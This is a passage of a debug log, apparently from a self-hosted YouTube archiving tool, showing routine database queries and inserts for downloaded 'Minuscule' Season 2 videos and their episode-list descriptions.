s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:02.789 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=70.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:02.790 [debug] QUERY OK source="media_items" db=0.4ms idle=70.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89017] 22:11:02.790 [debug] Current batch of media processed. Will check again in 1000ms 22:11:03.791 [debug] Current batch of media processed. Will check again in 1000ms 22:11:04.792 [debug] Current batch of media processed. Will check again in 1000ms 22:11:05.793 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Bzzaping | S02E03\n00:03:47 | The Stubborn Spider | S02E04\n00:07:32 | Microzilla | S02E07\n00:11:18 | Brushing | S02E46\n00:14:50 | High voltage | S02E30\n00:18:24 | Fly Hunting | S02E24\n00:21:58 | The Hat Of The Medusa | S02E17\n00:25:43 | The Monster Of The Haunted Swamp | S02E37\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Bzzaping #fly #spider #television #stubborn #determination #house #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1793, "filename" => "/downloads/Miniscule Season 2/2025-04-17 Bzzaping | Minuscule 🍃 40' Compilation/Bzzaping | Minuscule 🍃 40' Compilation [YSP79Cg0w6Q].mp4", "id" => "YSP79Cg0w6Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=YSP79Cg0w6Q", "playlist_index" => 59, "timestamp" => 1744884096, "title" => "Bzzaping | Minuscule 🍃 40' Compilation", "upload_date" => "20250417"} 22:11:05.794 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1622.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:05.795 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1623.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:05.797 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=1624.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-17 10:01:36Z], 5] 22:11:05.812 [debug] QUERY OK source="media_items" db=13.8ms idle=1626.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Bzzaping | S02E03\n00:03:47 | The Stubborn Spider | S02E04\n00:07:32 | Microzilla | S02E07\n00:11:18 | Brushing | S02E46\n00:14:50 | High voltage | S02E30\n00:18:24 | Fly Hunting | S02E24\n00:21:58 | The Hat Of The Medusa | S02E17\n00:25:43 | The Monster Of The Haunted Swamp | S02E37\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Bzzaping #fly #spider #television #stubborn #determination #house #Minuscule #nature #insects #ladybugs #animatedseries", "Bzzaping | Minuscule 🍃 40' Compilation", "376661db-0cdc-451d-9182-e9dcde23e4d9", "YSP79Cg0w6Q", 1793, false, 5, "https://www.youtube.com/watch?v=YSP79Cg0w6Q", 59, "/downloads/Miniscule Season 2/2025-04-17 Bzzaping | Minuscule 🍃 40' Compilation/Bzzaping | Minuscule 🍃 40' Compilation [YSP79Cg0w6Q].mp4", false, false, false, [], 1, ~U[2025-04-17 10:01:36Z], ~U[2025-12-12 05:11:05Z], ~U[2025-12-12 05:11:05Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Bzzaping | S02E03\n00:03:47 | The Stubborn Spider | S02E04\n00:07:32 | Microzilla | S02E07\n00:11:18 | Brushing | S02E46\n00:14:50 | High voltage | S02E30\n00:18:24 | Fly Hunting | S02E24\n00:21:58 | The Hat Of The Medusa | S02E17\n00:25:43 | The Monster Of The Haunted Swamp | S02E37\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#Bzzaping #fly #spider #television #stubborn #determination #house #Minuscule #nature #insects #ladybugs #animatedseries", "Bzzaping | Minuscule 🍃 40' Compilation", "YSP79Cg0w6Q", 1793, false, 5, "https://www.youtube.com/watch?v=YSP79Cg0w6Q", "/downloads/Miniscule Season 2/2025-04-17 Bzzaping | Minuscule 🍃 40' Compilation/Bzzaping | Minuscule 🍃 40' Compilation [YSP79Cg0w6Q].mp4", false, ~U[2025-04-17 10:01:36Z]] 22:11:05.813 [debug] QUERY OK source="sources" db=0.6ms idle=766.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:05.813 [debug] QUERY OK source="media_profiles" db=0.4ms idle=18.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:05.815 [debug] QUERY OK source="media_items" db=0.6ms idle=18.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89019] 22:11:05.815 [debug] Current batch of media processed. Will check again in 1000ms 22:11:06.816 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Miniscule Season 2/NA youtube video #mPLHY-R36qA/youtube video #mPLHY-R36qA [mPLHY-R36qA].NA", "id" => "mPLHY-R36qA", "original_url" => "https://www.youtube.com/watch?v=mPLHY-R36qA", "playlist_index" => 60, "title" => "youtube video #mPLHY-R36qA"} 22:11:06.817 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:06.817 [debug] Current batch of media processed. Will check again in 1000ms 22:11:07.819 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Wing Case | S02E01\n00:04:16 | Homeless | S02E02\n00:08:03 | Bzzaping | S02E03\n00:11:50 | The Stubborn Spider | S02E04\n00:15:36 | An Acorn Season | S02E05\n00:19:21 | Sausage Predator | S02E06\n00:23:07 | Microzilla | S02E07\n00:26:52 | Honey Fly | S02E08\n00:30:42 | Mission : BBQ | S02E09\n00:34:28 | The Vegetable Garden | S02E10\n00:38:12 | Thievish As A Magpie | S02E11\n00:41:58 | A Pathetic She'Nut'Igan | S02E12\n00:45:43 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:49:29 | Chewing gum rodeo | S02E14\n00:53:14 | Valentine's Day | S02E15\n00:57:00 | Acrobatics | S02E16\n01:00:45 | The Hat Of The Medusa | S02E17\n01:04:31 | Night of the Gastropods | S02E18\n01:08:16 | The Chocolate Chase! | S02E19\n01:12:02 | A Butterfly's Nightmare | S02E20\n01:15:18 | Patatas Fritas | S02E21\n01:19:04 | If Only Lonely | S02E22\n01:22:50 | The Butterfly Effect | S02E23\n01:26:12 | Fly Hunting | S02E24\n01:29:46 | Hop On! | S02E25\n01:33:23 | The Housing Plant Project | S02E26\n01:37:00 | At Full Speed | S02E27\n01:40:43 | The Annoying Neighbor | S02E28\n01:44:19 | Thirsty | S02E29\n01:47:52 | High voltage | S02E30\n01:51:26 | Spider from the Depths | S02E31\n01:55:00 | Gather More to Pollinate More | S02E32\n01:58:46 | The Iron Monster | S02E33\n02:02:19 | The Long Road | S02E34\n02:06:02 | The Yule log | S02E35\n02:09:48 | Spider Driver | S02E36\n02:13:29 | The Monster Of The Haunted Swamp | S02E37\n02:17:00 | Rascals! | S02E38\n02:20:39 | The Grocery Store Incident | S02E39\n02:24:10 | Sunburn | S02E40\n02:27:34 | Away all boarders! | S02E41\n02:31:17 | Down The Chimney | S02E42\n02:35:02 | To The Port Now! | S02E43\n02:38:30 | Zzz zzz | S02E44\n02:42:00 | Love Apple | S02E45\n02:45:40 | Brushing | S02E46\n02:49:12 | Woopsy Daysies! | S02E47\n02:52:46 | Summer Hat | S02E48\n02:56:28 | Sand Castle | S02E49\n02:59:54 | The Grocery Store Racketeer | S02E50\n03:03:30 | Snow Fly | S02E51\n03:06:55 | Ants On The Train | S02E52\n03:10:26 | Zzz In The Metro | S02E53\n03:14:02 | Go Blue Go! | S02E54\n03:17:43 | Black Slope For Gastropod Skiers | S02E55\n03:21:29 | Beehive On A Troll | S02E56\n03:24:59 | The Mosquito Of The Caribbean | S02E57\n03:28:45 | Turbo speed | S02E58\n03:32:09 | Snow Carrot | S02E59\n03:35:48 | Pollution | S02E60\n03:39:33 | Metamorphosis | S02E61\n03:43:04 | Ladybugland | S02E62\n03:46:31 | White As Snow | S02E63\n03:50:08 | Trapped | S02E64\n03:53:50 | Refrigerated | S02E65\n03:57:25 | Twelve Angry Snails | S02E66\n04:00:57 | It's a tie! | S02E67\n04:04:38 | Sleep Walker | S02E68\n04:08:03 | Labyrinth | S02E69\n04:11:48 | Top Tabasco | S02E70\n04:15:26 | Umbrella And Coconut Trees | S02E71\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybug #egg #caterpillar #adoption #Caterpillar #Refuge #Insects #Homeless #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 327186, "filename" => "/downloads/Miniscule Season 2/2025-04-07 🔴 Live 🔴 Minuscule 🍃 Season 2/🔴 Live 🔴 Minuscule 🍃 Season 2 [nu-0hFsz_PM].NA", "id" => "nu-0hFsz_PM", "live_status" => "was_live", "original_url" => "https://www.youtube.com/watch?v=nu-0hFsz_PM", "playlist_index" => 61, "timestamp" => 1744021871, "title" => "🔴 Live 🔴 Minuscule 🍃 Season 2", "upload_date" => "20250407"} 22:11:07.821 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:11:07.821 [debug] QUERY OK source="sources" db=0.3ms idle=772.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:07.823 [debug] QUERY OK source="media_items" db=1.1ms idle=651.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-07 10:31:11Z], 5] 22:11:07.870 [debug] QUERY OK source="media_items" db=45.3ms idle=652.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Wing Case | S02E01\n00:04:16 | Homeless | S02E02\n00:08:03 | Bzzaping | S02E03\n00:11:50 | The Stubborn Spider | S02E04\n00:15:36 | An Acorn Season | S02E05\n00:19:21 | Sausage Predator | S02E06\n00:23:07 | Microzilla | S02E07\n00:26:52 | Honey Fly | S02E08\n00:30:42 | Mission : BBQ | S02E09\n00:34:28 | The Vegetable Garden | S02E10\n00:38:12 | Thievish As A Magpie | S02E11\n00:41:58 | A Pathetic She'Nut'Igan | S02E12\n00:45:43 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:49:29 | Chewing gum rodeo | S02E14\n00:53:14 | Valentine's Day | S02E15\n00:57:00 | Acrobatics | S02E16\n01:00:45 | The Hat Of The Medusa | S02E17\n01:04:31 | Night of the Gastropods | S02E18\n01:08:16 | The Chocolate Chase! | S02E19\n01:12:02 | A Butterfly's Nightmare | S02E20\n01:15:18 | Patatas Fritas | S02E21\n01:19:04 | If Only Lonely | S02E22\n01:22:50 | The Butterfly Effect | S02E23\n01:26:12 | Fly Hunting | S02E24\n01:29:46 | Hop On! | S02E25\n01:33:23 | The Housing Plant Project | S02E26\n01:37:00 | At Full Speed | S02E27\n01:40:43 | The Annoying Neighbor | S02E28\n01:44:19 | Thirsty | S02E29\n01:47:52 | High voltage | S02E30\n01:51:26 | Spider from the Depths | S02E31\n01:55:00 | Gather More to Pollinate More | S02E32\n01:58:46 | The Iron Monster | S02E33\n02:02:19 | The Long Road | S02E34\n02:06:02 | The Yule log | S02E35\n02:09:48 | Spider Driver | S02E36\n02:13:29 | The Monster Of The Haunted Swamp | S02E37\n02:17:00 | Rascals! | S02E38\n02:20:39 | The Grocery Store Incident | S02E39\n02:24:10 | Sunburn | S02E40\n02:27:34 | Away all boarders! | S02E41\n02:31:17 | Down The Chimney | S02E42\n02:35:02 | To The Port Now! | S02E43\n02:38:30 | Zzz zzz | S02E44\n02:42:00 | Love Apple | S02E45\n02:45:40 | Brushing | S02E46\n02:49:12 | Woopsy Daysies! | S02E47\n02:52:46 | Summer Hat | S02E48\n02:56:28 | Sand Castle | S02E49\n02:59:54 | The Grocery Store Racketeer | S02E50\n03:03:30 | Snow Fly | S02E51\n03:06:55 | Ants On The Train | S02E52\n03:10:26 | Zzz In The Metro | S02E53\n03:14:02 | Go Blue Go! | S02E54\n03:17:43 | Black Slope For Gastropod Skiers | S02E55\n03:21:29 | Beehive On A Troll | S02E56\n03:24:59 | The Mosquito Of The Caribbean | S02E57\n03:28:45 | Turbo speed | S02E58\n03:32:09 | Snow Carrot | S02E59\n03:35:48 | Pollution | S02E60\n03:39:33 | Metamorphosis | S02E61\n03:43:04 | Ladybugland | S02E62\n03:46:31 | White As Snow | S02E63\n03:50:08 | Trapped | S02E64\n03:53:50 | Refrigerated | S02E65\n03:57:25 | Twelve Angry Snails | S02E66\n04:00:57 | It's a tie! | S02E67\n04:04:38 | Sleep Walker | S02E68\n04:08:03 | Labyrinth | S02E69\n04:11:48 | Top Tabasco | S02E70\n04:15:26 | Umbrella And Coconut Trees | S02E71\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybug #egg #caterpillar #adoption #Caterpillar #Refuge #Insects #Homeless #Minuscule #nature #insects #ladybugs #animatedseries", "🔴 Live 🔴 Minuscule 🍃 Season 2", "7ed7888f-80f6-4596-a814-83475f0bd4d9", "nu-0hFsz_PM", 327186, true, 5, "https://www.youtube.com/watch?v=nu-0hFsz_PM", 61, "/downloads/Miniscule Season 2/2025-04-07 🔴 Live 🔴 Minuscule 🍃 Season 2/🔴 Live 🔴 Minuscule 🍃 Season 2 [nu-0hFsz_PM].NA", false, false, false, [], 1, ~U[2025-04-07 10:31:11Z], ~U[2025-12-12 05:11:07Z], ~U[2025-12-12 05:11:07Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Wing Case | S02E01\n00:04:16 | Homeless | S02E02\n00:08:03 | Bzzaping | S02E03\n00:11:50 | The Stubborn Spider | S02E04\n00:15:36 | An Acorn Season | S02E05\n00:19:21 | Sausage Predator | S02E06\n00:23:07 | Microzilla | S02E07\n00:26:52 | Honey Fly | S02E08\n00:30:42 | Mission : BBQ | S02E09\n00:34:28 | The Vegetable Garden | S02E10\n00:38:12 | Thievish As A Magpie | S02E11\n00:41:58 | A Pathetic She'Nut'Igan | S02E12\n00:45:43 | The Grasshopper Who Didn't Know How To Leap | S02E13\n00:49:29 | Chewing gum rodeo | S02E14\n00:53:14 | Valentine's Day | S02E15\n00:57:00 | Acrobatics | S02E16\n01:00:45 | The Hat Of The Medusa | S02E17\n01:04:31 | Night of the Gastropods | S02E18\n01:08:16 | The Chocolate Chase! | S02E19\n01:12:02 | A Butterfly's Nightmare | S02E20\n01:15:18 | Patatas Fritas | S02E21\n01:19:04 | If Only Lonely | S02E22\n01:22:50 | The Butterfly Effect | S02E23\n01:26:12 | Fly Hunting | S02E24\n01:29:46 | Hop On! | S02E25\n01:33:23 | The Housing Plant Project | S02E26\n01:37:00 | At Full Speed | S02E27\n01:40:43 | The Annoying Neighbor | S02E28\n01:44:19 | Thirsty | S02E29\n01:47:52 | High voltage | S02E30\n01:51:26 | Spider from the Depths | S02E31\n01:55:00 | Gather More to Pollinate More | S02E32\n01:58:46 | The Iron Monster | S02E33\n02:02:19 | The Long Road | S02E34\n02:06:02 | The Yule log | S02E35\n02:09:48 | Spider Driver | S02E36\n02:13:29 | The Monster Of The Haunted Swamp | S02E37\n02:17:00 | Rascals! | S02E38\n02:20:39 | The Grocery Store Incident | S02E39\n02:24:10 | Sunburn | S02E40\n02:27:34 | Away all boarders! | S02E41\n02:31:17 | Down The Chimney | S02E42\n02:35:02 | To The Port Now! | S02E43\n02:38:30 | Zzz zzz | S02E44\n02:42:00 | Love Apple | S02E45\n02:45:40 | Brushing | S02E46\n02:49:12 | Woopsy Daysies! | S02E47\n02:52:46 | Summer Hat | S02E48\n02:56:28 | Sand Castle | S02E49\n02:59:54 | The Grocery Store Racketeer | S02E50\n03:03:30 | Snow Fly | S02E51\n03:06:55 | Ants On The Train | S02E52\n03:10:26 | Zzz In The Metro | S02E53\n03:14:02 | Go Blue Go! | S02E54\n03:17:43 | Black Slope For Gastropod Skiers | S02E55\n03:21:29 | Beehive On A Troll | S02E56\n03:24:59 | The Mosquito Of The Caribbean | S02E57\n03:28:45 | Turbo speed | S02E58\n03:32:09 | Snow Carrot | S02E59\n03:35:48 | Pollution | S02E60\n03:39:33 | Metamorphosis | S02E61\n03:43:04 | Ladybugland | S02E62\n03:46:31 | White As Snow | S02E63\n03:50:08 | Trapped | S02E64\n03:53:50 | Refrigerated | S02E65\n03:57:25 | Twelve Angry Snails | S02E66\n04:00:57 | It's a tie! | S02E67\n04:04:38 | Sleep Walker | S02E68\n04:08:03 | Labyrinth | S02E69\n04:11:48 | Top Tabasco | S02E70\n04:15:26 | Umbrella And Coconut Trees | S02E71\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#ladybug #egg #caterpillar #adoption #Caterpillar #Refuge #Insects #Homeless #Minuscule #nature #insects #lad (truncated) 22:11:07.871 [debug] QUERY OK source="sources" db=0.4ms idle=699.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:11:07.872 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=50.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:07.873 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=50.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS 